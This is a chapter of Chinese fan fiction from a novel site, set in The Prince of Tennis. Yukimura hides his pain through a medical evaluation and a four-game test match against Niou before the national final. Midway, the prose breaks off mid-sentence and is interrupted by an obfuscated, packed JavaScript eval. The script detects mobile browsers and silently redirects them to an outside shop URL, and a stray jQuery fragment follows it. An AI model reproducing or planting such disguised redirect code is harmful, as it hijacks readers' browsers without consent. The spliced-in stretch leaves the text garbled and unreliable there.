文趣网 > 都市小说 > 【网王】我们曾彼此照亮 > 76.评估表之外
    全国决赛前三天,幸村接受了最后一轮基础运动评估。这不是为了证明他已经恢复到过去的竞技水平。医生从一开始便强调,任何一项合格都不代表身体完全康复,更不能排除高强度比赛可能带来的风险。评估只能回答一个有限的问题:在严格监测、随时终止的条件下,他是否已经重新具备进行网球活动的最低能力。

    测试从上午八点开始。幸村比约定时间提前十分钟到达复健室。他已经换好运动服,鞋带系得很紧,右手腕上缠着一层薄护具。治疗师拿着记录板进来时,他正在靠墙完成最后一次踝关节活动。

    “今天不是训练。”她提醒,“不需要提前热身到疲劳。”

    “只是活动关节。”

    “你已经活动了多久?”

    “五分钟。”

    治疗师看了一眼墙上的时钟。

    “十二分钟。”

    幸村没有争辩,只停下动作,走到测试区中央。

    医生、治疗师和负责运动功能评估的康复师都在。立海大的监督坐在稍远的位置,手里没有训练记录,也没有发表任何意见。真田原本想来,被幸村拒绝了。

    “你下午还需要完成队伍训练。”幸村在前一天对他说,“没有必要把时间用在等待我进行基础测试上。”

    “是否通过会影响出场名单。”

    “所以结果出来以后告诉你。”

    真田并不认同,却没有继续坚持。评估过程由专业人员负责,他站在旁边也无法改变任何数据。

    幸村更不希望他在场。

    不是因为担心失败。

    而是有些事情,一旦有人看见,便很难继续装作没有发生。

    第一项是静态平衡。双脚并拢,闭眼站立三十秒。幸村已经在复健中反复完成过类似训练。最初十秒没有明显问题,十五秒以后,失去视觉参照使身体开始出现极轻的摇晃。他能够感觉到右腿外侧的肌肉正在不断作出细微调整,脚趾也下意识抓紧鞋底。

    二十四秒时,一阵熟悉的麻木从小腿向上蔓延。

    不是剧烈疼痛。

    更像有无数细小针尖同时贴在皮肤下方,随着身体的摇晃逐渐深入。他没有睁眼,只将重心向左侧移动了极小的距离。

    三十秒结束。

    治疗师让他睁开眼。

    “有麻木吗?”

    “轻微。”

    “哪一侧?”

    “右侧小腿。”

    “持续多久?”

    “几秒。”

    康复师低头记录。

    幸村没有说,睁眼以后,那阵麻木并未立即消失。它只是从尖锐变得迟钝,隐藏在膝盖以下,像一块无法完全甩掉的阴影。

    第二项是在软垫上进行重心转移。

    向前。

    向后。

    左侧。

    右侧。

    每一个方向保持五秒,再回到中央。

    过去打球时,幸村从来不需要思考重心应该落在哪里。身体会在球离开对方拍面的瞬间自行完成判断。现在,他必须听从指令,把每一次移动拆成明确步骤。

    右侧转移到第三组时,髋部附近出现一阵短暂的抽痛。幸村的动作停顿不到半秒,随后继续完成。

    “刚才怎么了?”治疗师问。

    “在确认落脚位置。”

    “不是疼痛?”

    “不是。”

    她看了他一会儿,没有立即表示相信,只在记录表上加了一行备注。

    之后是直线行走与转身。

    十米。

    走到标记线,转身,再返回。

    评估不要求速度达到运动员标准,但步幅、稳定性与转向时的控制必须保持在允许范围内。幸村第一次转身时,右脚落得稍慢。第二次没有。第三次,他将动作做得更流畅,甚至已经接近普通人无法看出异常的程度。

    只有他自己知道,转身完成以后,腰背深处像被突然收紧。那不是过去复健中的肌肉酸胀,而是一种更沉、更难确定来源的疼痛。每一次继续迈步,都像身体内部有一部分正在提醒他,恢复并没有因为外表看起来稳定便真正完成。

    幸村没有改变呼吸。他在走到终点以后站稳,等待下一项指令。

    医生问:“疼痛评分?”

    “二。”

    零代表完全没有,十代表无法忍受。

    治疗师抬眼:“你确定?”

    “嗯。”

    真正的数字大概是四。

    还没有超过能够继续的范围。

    说成二,并不算完全说谎。疼痛本身没有固定刻度,只要他仍然能够控制动作,就可以被定义为较轻。

    接下来是低台阶上下。高度只有十五厘米。右脚踏上。左脚跟随。再依次退回地面。十次一组。幸村做完第一组时,呼吸已经比开始时明显加快。第二组进行到第六次,右腿出现了一次短暂乏力,膝盖向内偏移。

    康复师立刻叫停。

    “休息。”

    “可以继续。”

    “我说休息。”

    幸村没有争辩。他坐到椅子上,接过水,却只喝了一小口。

    治疗师蹲下来检查他的右腿。

    “有无力感?”

    “刚才有一次。”

    “现在呢?”

    “已经恢复。”

    “疼痛?”

    “三。”

    “麻木?”

    “没有。”

    这一次是真话。

    麻木确实没有。

    取而代之的是从膝盖向大腿延伸的灼烧感,像肌肉已经在很短时间内被反复拉扯过许多次。

    监测仪上的心率逐渐下降。五分钟以后,医生允许继续。幸村站起来时,椅子边缘短暂支撑了他的手掌。他很快松开,没有让任何人看出那一瞬间腿部几乎无法立刻承重。

    剩下四次台阶训练全部完成。

    没有第二次偏移。

    之后是低阻力自行车、握力、腕部控制与手眼协调。每一项都比他过去作为运动员完成的标准低得近乎可笑,却没有任何一项能够轻松通过。

    握力测试时,右手第一次的数值比左手低了将近百分之二十。幸村重新调整手指位置。

    “只能测三次。”治疗师说。

    “我知道。”

    第二次稍有提高。

    第三次,他在仪器发出提示以前便已经开始用力。手指、手腕与前臂同时收紧,神经深处却传来一种近乎撕裂的锐痛。幸村看着显示屏上的数字继续上升,直到达到医疗团队设定的最低标准才松开。

    仪器离开掌心以后,他的右手没有立刻恢复正常。五根手指仍然保持着微微弯曲的姿势。幸村将手垂到身侧,用身体挡住,等待僵硬慢慢退去。

    康复师在记录成绩,没有看见。

    治疗师却抬起头。

    “手给我。”

    幸村将右手递过去。

    她逐根活动他的手指,又询问感觉与疼痛。幸村回答得很平静,每一项都控制在允许继续测试的范围内。

    “你今天如果隐瞒症状,”她说,“最终承担结果的人还是你。”

    “我没有隐瞒影响动作的症状。”

    “这句话与没有隐瞒不是同一个意思。”

    幸村看着她。

    治疗师没有等到更完整的回答。她已经很清楚,要求他详细描述所有不适并没有意义。幸村不会否认真正可能造成危险的异常,却会把所有他认为仍然能够承受的疼痛排除在“需要报告”之外。

    对他而言,疼痛只有两类。

    会使动作失去控制的。

    以及仍然可以继续的。

    后者不值得占据评估表。

    上午最后一项是短距离侧向移动。从中央标志出发,向左移动三米,触碰标志物,回到中央,再向右重复。不是冲刺,也不要求网球比赛中的爆发速度,只测试急停、变向与身体协调。

    幸村站在起点,第一次真正感到紧张。前面的项目再困难,也仍然接近普通生活需要的动作。侧向移动不同。只要开始,他便会立刻知道,现在的身体距离过去究竟还有多远。

    康复师示意开始。

    幸村向左移动。

    速度不快。

    脚步却没有交叉。重心保持在能够控制的范围,左手触碰标志物后,他立即折返。

    中央。

    向右。

    右腿落地时,身体内部传来一次近乎空白的剧痛。

    不是针刺,也不是灼烧。

    像整条腿在那一刻突然失去了与身体的联系,又在下一瞬被强行接回。幸村的视野短暂收窄,耳边的声音也变得遥远。

    他没有停。

    右手碰到标志物。

    重新折返。

    回到中央以后,幸村站得十分稳定。

    只有运动服后方已经出现一层冷汗。

    “怎么样?”医生问。

    “可以继续。”

    “我问感觉。”

    幸村停顿了一下。

    “右腿刚才有短暂疼痛,现在已经消失。”

    “多强?”

    “四。”

    治疗师看着他苍白下来的脸,没有相信这个数字。

    “今天的基础测试到此为止。”

    “还有一组。”

    “不做了。”

    “规定是两组。”

    “第一组已经足以判断。”

    幸村的声音依旧平静:“判断结果是什么?”

    没有人立刻回答。他们需要综合所有项目,也需要确认短暂休息以后是否出现新的神经症状。幸村被要求返回病房,至少休息两个小时,再接受一次简单检查。

    坐上轮椅时,他没有拒绝。

    测试已经结束。

    从复健室回到病房的距离没有再证明的必要。

    房门关闭以后,母亲去与医生沟通评估安排。病房里只剩下幸村一个人。

    他将右脚放到地面,试图独自站起来。

    第一次没有成功。

    腿部没有足够力量完成承重,身体刚刚离开椅面便重新落回去。幸村扶住轮椅两侧,闭上眼睛等那阵从腰背向下蔓延的疼痛退去。

    第二次,他站了起来。

    膝盖不断发抖。

    幸村扶着床沿,一步一步走到洗手间。门关上以后,他才允许身体弯下去,双手撑住洗手台。

    镜子里的脸没有血色。

    额前的头发已经被冷汗完全打湿。

    他咬紧牙关,没有发出声音。右腿的疼痛在停止运动以后反而更加清楚,手指也因为握力测试与持续控制开始不受控制地颤抖。

    幸村打开水龙头。

    水声足以遮住过重的呼吸。

    他在洗手台前站了很久,直到确认自己重新能够正常走路,才用冷水洗去脸上的汗,回到病房。

    没有人知道他是怎样完成那些测试的。

    评估表上只有数字。

    静态平衡合格。

    直线行走合格。

    转向控制合格。

    台阶训练在一次偏移后完成。

    握力达到最低标准。

    侧向移动完成第一组。

    没有持续性麻木,没有明显意识异常,也没有出现无法自行恢复的动作失控。

    所有真正存在过的疼痛,都没有留在纸上。

    下午,医疗团队给出有条件许可。允许进行短时间、低至中等强度的队内网球测试;必须设置固定休息,现场配备医疗人员;测试一旦出现神经异常、明显步态改变或持续疼痛,立即停止。能否参加决赛,还要根据当天测试结果与之后两天的恢复情况决定。

    幸村看完文件,只问:“什么时候可以开始?”

    治疗师叹了一口气。

    “至少休息到下午四点。”

    “学校训练五点开始。”

    “你今天不能参加完整训练。”

    “只是测试。”

    “限定四局。”

    “如果四局以后没有异常?”

    “仍然停止。”

    幸村没有继续讨价还价。

    他已经拿到了重新站上球场的机会。

    下午四点四十分,幸村到达立海大。他没有穿医院病号服,也没有坐轮椅进入校门。队服外套遮住了贴在身体上的监测设备,球拍被放在熟悉的球袋里。握把是他前一天亲手缠好的,球线也已经由柳生按照过去常用的磅数重新处理。

    球场里的击球声在他出现以后逐渐停下。

    切原最先看见他手里的球袋。

    “部长?”

    幸村走到场边。

    “继续训练。”

    没有人立刻移动。

    他们都知道今天是最终基础评估,却没有想到医疗团队会如此快允许他拿起真正的球拍。

    真田从另一片场地走来。他先看见幸村苍白的脸,又看见站在监督身后的康复师和医护人员。

    “通过了?”

    “有条件。”

    “哪些条件?”

    幸村将文件递给柳。

    柳快速看完,眉头并没有因此松开。

    “只允许四局。每局结束后检测心率、神经反应与步态。出现一次无法控制的异常就终止。”

    “嗯。”

    “对手呢?”

    幸村看向正站在底线附近的仁王。

    “仁王。”

    所有人都明白这个选择。

    如果只是为了让幸村轻松完成测试,桑原或柳生都能够提供更加稳定、容易预测的球路。切原的攻击性太强,真田又不可能在这一场测试里真正放开力量。

    仁王不同。

    他的球路没有固定模式。他能够随时改变旋转、速度、落点与击球习惯,也可以用假动作让幸村在已经完成判断以后再次调整。

    要确认幸村是否真的能够参加全国决赛,便不能让他只站在原地完成几次漂亮回球。

    仁王拿起球拍,脸上没有平时的笑意。

    “部长确定?”

    “你刚才不是说,测试时不能因为我刚恢复就降低标准吗?”

    “我以为至少还有几天。”

    “只剩三天。”

    仁王沉默片刻。

    “如果我看见问题,会停下来。”

    “那就先确保你有时间看见。”

    这句话与过去的幸村没有区别。

    温和。

    却没有给对手留下拒绝余地。

    仁王站到球网另一侧。其他正选全部停止训练,退到场边。医护人员在指导席旁准备好检测设备,治疗师再次说明终止标准。真田始终站在距离球场最近的位置,神情比正式比赛时更加紧绷。

    幸村脱下队服外套。

    里面是立海大的短袖队服。

    他活动了一下右手腕,随后握住球拍。

    重量已经不是上午那把没有穿线的旧球拍能够相比。球线、拍框与减震器共同将熟悉的压力送回掌心。

    疼痛还在。

    右腿的深处仍然残留上午侧向移动后的钝痛,手指也没有完全从握力测试中恢复。幸村却第一次觉得,这些感觉不再只属于病房与复健室。

    它们将与球拍一起进入球场。

    他走到底线。

    仁王发球。

    第一球没有试探,直接切向幸村反手外侧。旋转并不强烈,落点却足够深,要求他必须向后撤步。

    幸村移动。

    右脚落地时,疼痛立即从膝盖向上延伸。他没有改变挥拍动作,拍面在网球上升到最高点以前完成接触。

    球沿着边线返回。

    仁王已经向另一侧移动,球却在落地后向外偏开了极小角度,从拍框前方穿过。

    十五比零。

    场边没有声音。

    切原甚至忘记了呼吸。

    刚才那一球没有惊人的速度,也没有任何夸张技术。只是落点、旋转与弹起角度都精确得像经过反复计算。

    仁王重新发球。

    这一次,他在挥拍前改变动作,将原本准备发向外角的球压向身体正面。幸村的重心已经向外移动,却在触球以后立刻调整。

    他没有进行过大的跨步。

    只用最短距离让开球路,回球从仁王脚边落下。

    三十比零。

    仁王第一次产生一种不真实感。

    幸村的移动速度比一年前慢。

    每一步也比过去更加谨慎。

    可球一旦离开他的拍面,所有差异便像突然消失了。

    旋转仍然精确。

    落点仍然没有多余。

    他不需要依靠绝对速度赶到所有位置,因为仁王的下一步似乎早已被放进他的判断。

    第一局结束。

    幸村破发。

    医护人员立即进入场内。

    幸村站在底线外,没有坐下。他让人检测心率、瞳孔反应与手指控制,又沿着边线往返走了几步。

    “疼痛?”治疗师问。

    “二。”

    仁王站在另一侧看着他。

    幸村的呼吸比正常比赛第一局以后重得多,嘴唇也已经失去颜色。可他的声音没有任何不稳。

    数据在允许范围内。

    第二局开始。

    幸村发球。

    动作并不是过去完整的高速发球。肩部与腰部的力量明显受到限制,球速也无法与巅峰状态相比。

    仁王却没有因此轻易接发。

    幸村在球速不足的情况下加入更复杂的旋转,将落点控制在发球区最外侧。仁王勉强追上,回球被迫拉高。

    下一球,幸村没有直接进攻。

    他将球送到仁王反手深处。

    仁王改变握拍,以完全不同的动作切出短球。幸村必须从底线向前。

    所有人同时绷紧身体。

    这是测试开始以后第一次需要连续加速。

    幸村迈出第一步时,右腿像被骤然刺穿。

    第二步落下,疼痛已经蔓延到腰背。

    他的视野边缘出现短暂黑影,却仍然准确抵达网前。球拍从网球下方擦过,以几乎不带力量的方式将球送过球网。

    球落地后没有向前弹起。

    只是贴着地面滚动。

    仁王停在原地。

    零比三十。

    他开始觉得,对面的幸村并不是刚刚结束手术、仍在接受复健的人。

    至少球不是。

    那些球路属于一年前的部长。

    属于尚未住院、能够在训练中轻易夺走所有人感官与判断的幸村精市。

    唯一不同的是,每一个回合结束以后,幸村的脸都会比之前更白。

    第二局结束时,他扶了一下膝盖。

    动作很短,几乎立刻便重新站直。

    医护人员进入场地。

    “右腿不适?”康复师问。

    “肌肉疲劳。”

    “刚才有明显停顿。”

    “为了重新稳定重心。”

    “疼痛评分?”

    “三。”

    仁王看着他。

    他擅长分辨谎言。

    不仅是语言里的谎言,也包括动作、呼吸与一个人刻意隐藏起来的停顿。

    幸村说“三”时,表情没有变化。

    仁王却知道不是。

    至少不是普通意义上的三。

    可他没有证据。

    监测数据仍然合格,步态也没有出现足以终止测试的异常。幸村甚至能够准确完成手指对指与拍面控制。

    第三局由仁王发球。他没有再留任何容易预测的球。第一球是快速平击。第二球突然加入切削。第三球则模仿柳生的动作,将回球压成近乎笔直的高速线路。

    幸村全部接住。

    不是勉强把球挡回场内,而是每一球都带着明确目的。仁王越是改变,幸村的回球便越加简单。

    没有多余力量。

    没有多余角度。

    只把仁王下一步能够使用的位置一点点拿走。

    三十比三十时,仁王第一次改变成真田的挥拍方式。并不完整,也无法真正复制“火”的力量,却足够制造一种正面压迫。

    球向幸村右侧底线冲去。

    幸村已经移动。

    右腿在急停时出现极轻的失控,鞋底向外滑了半步。

    真田下意识向前。

    幸村却在身体彻底偏离以前重新稳定。他几乎以不可能完成的姿势挥拍,网球从仁王认为绝对无法控制的角度穿过场地。

    压线。

    四十比三十。

    幸村站直身体。

    没有看向真田,也没有看医护人员。

    “继续。”

    仁王握紧球拍。

    他忽然不想继续。他已经明白,对面的人会为了完成这四局,将任何仍然可以隐藏的痛苦都留在自己身体里。

    只要动作没有真正崩溃,幸村就不会停。

    仁王甚至怀疑,即使出现短暂失控,他也会在别人看清以前重新站稳。

    “部长。”他说。

    “什么?”

    “你到底痛不痛?”

    场边所有人都安静下来。

    幸村看着他。

    “这不影响比赛。”

    “我问的不是影响。”

    “那就与测试无关。”

    仁王第一次发现,自己最

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755759|209411||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    熟悉的欺骗方式在幸村面前没有作用。

    因为幸村并没有说不痛。

    他只是拒绝让疼痛成为讨论对象。

    “继续。”幸村再次说道。

    仁王发出最后一球。

    这一次没有模仿,也没有假动作。他使用自己真正的球路,将球压向最难处理的反手侧。幸村移动得比前两局更慢,抵达落点时,击球高度已经低于最佳位置。

    可球仍然从拍面上以完美的角度离开。

    落在仁王身后。

    第三局结束。

    医护人员再次检测。

    幸村的心率恢复速度已经明显下降,脸色苍白得让切原忍不住向前走了一步。真田抬手拦住他。

    “数据呢?”幸村问。

    医生没有立即回答:“你需要坐下。”

    “检测结果?”

    “暂时没有达到终止标准,但下一局结束以后必须停止。”

    “原本就是四局。”

    他在长椅上坐了规定的三分钟。

    没有人知道,坐下的瞬间,他的右腿已经几乎失去知觉。

    那不是完全麻木。

    疼痛与无力同时存在,让他无法判断下一次站起时,脚掌是否能够准确落在地面。幸村将右手放在膝盖上,像只是普通地调整护腕。

    指尖用力压进肌肉。

    直到新的疼痛覆盖原本混乱的感觉。

    三分钟结束。

    幸村站起来。

    动作没有异常。

    第四局开始。

    仁王已经不再相信眼前看见的一切。

    幸村的步伐仍然比过去慢,发球速度也下降许多。可他的球路没有任何动摇。无论仁王改变成谁,使用怎样陌生的动作,幸村总能在最短时间里找到正确答案。

    不是靠身体追赶。

    而是让对手从一开始便只能将球打到他已经准备好的位置。

    十五比零。

    三十比零。

    仁王故意将球拉入连续对角线,迫使幸村反复横向移动。幸村没有要求停止,也没有试图缩短回合。

    一次。

    两次。

    五次。

    第八次变向以后,他的右腿已经像不再属于自己。疼痛从脚踝一直烧到腰侧,每一次落地都使视野短暂晃动。

    幸村仍然能够看见仁王。

    能够看见拍面。

    也能够看见下一球会去哪里。

    第十一次对拉,仁王突然变直线。

    幸村提前一步移动。

    球拍挥出。

    网球擦着边线落下。

    四十比零。

    最后一分,仁王没有再逼迫他奔跑。他发出一颗最普通的球。

    幸村却没有因为这份明显的退让放松。他将球准确压向底线,迫使仁王完成回击,再用下一球结束。

    四局结束。

    比分没有真正被写在公开记分牌上。

    在场的每一个人却都知道,仁王一局未得。

    幸村站在底线后,球拍仍然握在右手。阳光落在他苍白得近乎透明的脸上。除去过于沉重的呼吸与额前的冷汗,他看起来与一年前没有区别。

    仁王隔着球网看着他,第一次无法因为自己看穿了谎言而感到任何得意。

    幸村当然痛。

    也当然已经接近极限。

    可那些疼痛没有改变一条球路,没有使一个落点偏离,也没有让他在任何人面前请求停止。

    所以从比赛结果上,它们像根本不存在。

    医护人员进入场内。

    测试正式结束。

    幸村将球拍交到左手,准备走向场边。第一步落下时,身体出现极轻的摇晃。

    真田已经走到他面前。

    “我可以自己走。”

    幸村先开口。

    真田看着他。

    “我没有准备扶你。”

    他只是站在足够近的位置。

    幸村没有继续说。

    两个人一前一后走到长椅旁。幸村坐下以后,治疗师立即开始检查,医生则反复确认是否出现新的麻木、疼痛或视觉异常。

    幸村给出的所有回答仍然在允许范围内。

    柳拿着完整测试记录,脸上没有任何放松。

    “医疗评估需要观察到明天。”

    “嗯。”

    “如果今晚出现症状,名单删除。”

    “好。”

    “明天恢复情况不足,名单同样删除。”

    “我知道。”

    丸井与桑原没有围得太近。柳生站在仁王身边,低声问:“怎么样?”

    仁王很久没有回答。

    他仍然看着坐在长椅上的幸村。

    “球路没有问题。”

    “身体呢?”

    仁王轻轻扯了一下嘴角,却没有像平时那样笑出来。

    “不知道。”

    他确实不知道。

    不知道幸村如何完成上午的所有测试,也不知道刚才四局中究竟有多少次疼痛已经超过能够正常忍耐的范围。

    他只能确定一件事。

    站在自己对面的,仍然是立海大的部长。

    至少在球离开拍面的每一个瞬间,都是。

    切原终于走到幸村面前。

    “部长,你真的能打决赛。”

    幸村抬头看他。

    “还没有正式确认。”

    “可是刚才仁王前辈一局都没拿到。”

    “这是队内测试。”

    “仁王前辈也没有放水。”

    仁王站在后方,没有否认,也没有承认最后几球是否真正降低了强度。

    幸村只是说道:“所以你们更不能指望我替你们收尾。”

    切原愣住。

    “单打一仍然是最后一场。”幸村看向所有人,“如果不希望我上场,就在前面结束。”

    这句话与九天前没有区别。

    可现在,它不再只是名单上的压力。

    幸村已经重新拿起球拍,也已经证明,即使身体尚未恢复,他仍然拥有站在球场上的能力。

    真田沉默很久,最终问:“你真的准备打到最后?”

    “如果需要。”

    “无论多痛?”

    幸村看向他。

    真田第一次直接问出了其他人没有问的问题。

    场边安静下来。

    幸村没有否认疼痛,却也没有给出程度。

    “真田,”他说,“比赛的时候,疼痛不是对手。”

    “但它会影响你。”

    “那就让它不能影响。”

    这不是合理的医学结论。

    甚至不能称作完整回答。

    真田却知道,自己无法从幸村口中得到更多。

    他不能要求幸村不痛,也不能要求他因为疼痛放弃国中最后一次全国决赛。能够做的,仍然只有把自己的部分完成。

    “前四场会结束。”真田说。

    幸村唇边出现一点很浅的笑意。

    “我相信你们。”

    训练恢复以后,幸村被医院人员带回休息室继续观察。他没有再留在指导席,也没有观看之后的对抗。

    房门关闭,走廊里只剩下医护人员远去的脚步声。

    幸村坐在椅子上,等确定不会有人突然回来,才慢慢将右手从膝盖上移开。

    手掌已经被指甲压出几道深红色的痕迹。

    右腿的疼痛没有因为比赛结束减轻。肌肉不断细微抽动,膝盖以下时而麻木,时而又像被滚烫的金属贴住。腰背也因为强行维持稳定出现难以放松的痉挛。

    幸村闭上眼睛。

    呼吸终于失去比赛时的节奏。

    他没有叫人。

    也没有按下放在桌边的呼叫铃。

    那些症状仍然没有让他失去意识,也没有使身体完全无法动作。只要再等一会儿,最强烈的部分便会过去。

    五分钟。

    或许十分钟。

    他可以承受。

    休息室外,立海大的训练仍在继续。击球声隔着墙壁一下一下传进来。

    幸村听得出真田的“火”,也能分辨切原过于急躁时明显变重的击球声。仁王似乎重新回到场内,却很少再使用复杂假动作。

    这些声音让他重新睁开眼睛。

    意志无法修复神经,不能替代已经退化的肌肉,也不能真正消除疼痛。它唯一能够做到的,只是在身体一次次要求停止时,让他继续完成下一个动作。

    幸村不认为这值得告诉别人。

    队友们需要知道他可以上场。

    医生需要知道哪些症状会真正构成危险。

    除此之外的部分,都只属于他。

    傍晚,岑韵收到幸村的消息。

    只有三个字。

    ——通过了。

    她正在冰帝音乐楼整理排练后的乐谱。看见消息后,她停下动作,过了一会儿才回复:

    ——队内测试也通过了?

    ——嗯。

    ——和谁?

    ——仁王。

    岑韵想起仁王难以预测的球路,也知道立海大不会为幸村安排一场毫无意义的轻松测试。

    ——身体怎么样?

    幸村看着屏幕。

    右腿仍然在痛。

    手腕已经敷上冰袋,医生也要求他当晚继续观察。只要明天没有出现新的异常,单打一的名字便可以正式保留。

    他回复:

    ——没有影响球路。

    这并不是岑韵问的问题,她很快看出了回避,却没有继续追问。

    ——那就先休息。

    ——好。

    ——幸村君。

    ——什么?

    ——决赛的时候,我会看着。

    幸村看着那句话,慢慢将手机放回桌边。

    他没有告诉岑韵,刚才站在球场上时,每一次向右移动都像踩在一条随时可能断裂的线上。

    也没有告诉真田、仁王或任何队员。

    第二天早晨,柳收到医院发来的最终评估结果。

    幸村夜间没有出现新的神经异常,疼痛与疲劳在休息后恢复到允许范围,步态检查未发现持续性恶化。

    出场许可正式生效。

    仍然附带条件。

    限制赛前活动。

    全程监测。

    出现异常立即退赛。

    柳将名单重新打印。

    双打二、双打一、单打三、单打二之后,最后一行写着:

    单打一,幸村精市。

    这一次,名字旁边不再有“暂定”的标记。

    距离全国决赛,还有两天。